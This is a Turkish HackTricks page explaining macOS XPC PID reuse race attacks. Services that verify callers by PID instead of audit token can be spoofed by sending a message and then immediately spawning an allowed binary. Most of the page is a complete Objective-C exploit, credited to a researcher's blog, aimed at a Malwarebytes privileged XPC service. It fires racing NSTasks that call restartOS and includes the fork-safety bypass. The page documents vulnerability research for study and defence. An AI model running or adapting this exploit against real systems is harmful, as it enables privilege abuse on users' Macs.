macOS PID Yeniden Kullanımı

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

PID Yeniden Kullanımı

Bir macOS XPC servisi, çağrılan süreci PID'ye göre kontrol ediyorsa ve denetim belirteci'ne göre değilse, PID yeniden kullanımı saldırısına karşı savunmasızdır. Bu saldırı, bir yarış durumu temelinde gerçekleşir; burada bir sömürü, XPC servisine mesajlar gönderecek ve hemen ardından posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) ile izin verilen ikiliyi çalıştıracaktır.

Bu fonksiyon, izin verilen ikilinin PID'sini alacak, ancak kötü niyetli XPC mesajı daha önce gönderilmiş olacaktır. Dolayısıyla, eğer XPC servisi, göndereni doğrulamak için PID'yi kullanır ve posix_spawn'dan sonra kontrol ederse, bunun yetkili bir süreçten geldiğini düşünecektir.

Sömürü örneği

Eğer shouldAcceptNewConnection fonksiyonunu veya onun tarafından çağrılan ve processIdentifier'ı çağıran bir fonksiyonu bulursanız ve auditToken'ı çağırmıyorsa, bu büyük olasılıkla süreç PID'sini doğruladığı anlamına gelir.
Örneğin, bu resimde (referanstan alınmıştır):

https://wojciechregula.blog/images/2020/04/pid.png

Sömürü örneğini kontrol edin (yine, referanstan alınmıştır) ve sömürünün 2 parçasını görün:

  • Bir tanesi birkaç fork oluşturur
  • Her fork, mesajı gönderdikten hemen sonra posix_spawn'ı çalıştırırken XPC servisine yükü gönderecektir.

caution

Sömürünün çalışması için export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES olarak ayarlamak veya sömürü içine koymak önemlidir:

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

İlk seçenek, NSTasks kullanarak çocukları başlatmak ve RC'yi sömürmek için argüman.

objectivec
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}

Diğer örnekler

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin